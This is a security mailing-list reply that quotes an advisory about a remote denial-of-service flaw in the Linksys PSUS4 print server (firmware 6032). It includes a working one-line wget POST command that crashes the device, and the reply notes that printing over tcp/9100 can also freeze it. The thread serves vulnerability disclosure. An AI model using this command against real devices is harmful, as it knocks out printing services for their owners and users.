Re: [ RSTACK Public Security Advisory ] Remote DOS against Linksys PSUS4

[Denis Jedig <seclists () syneticon de>]

laurent oudot wrote:

> Background
> ==========
>
> PSUS4 is one of the small embedded Linksys wired print servers.
>
> Affected products
> =================
>
> Model Name: PSUS4 (not tested against others)
> Firmware Version: 6032 (not tested against others)
>
> Description
> ===========
>
> Here is an example, to crash a remote PSUS4 :
>
> $ wget --post-data="Br1Ce2N1c3" http://192.168.1.2/
> [...]
> => And the PSUS4 is crashed.

Well, if you want a more complicated way, just try to print a page 
through the SMP (tcp/9100) - it will occasionally freeze the print 
server as well.

The firmware seems not to be very mature, I'd bet that we could expect 
more serious vulnerabilities from it.

Denis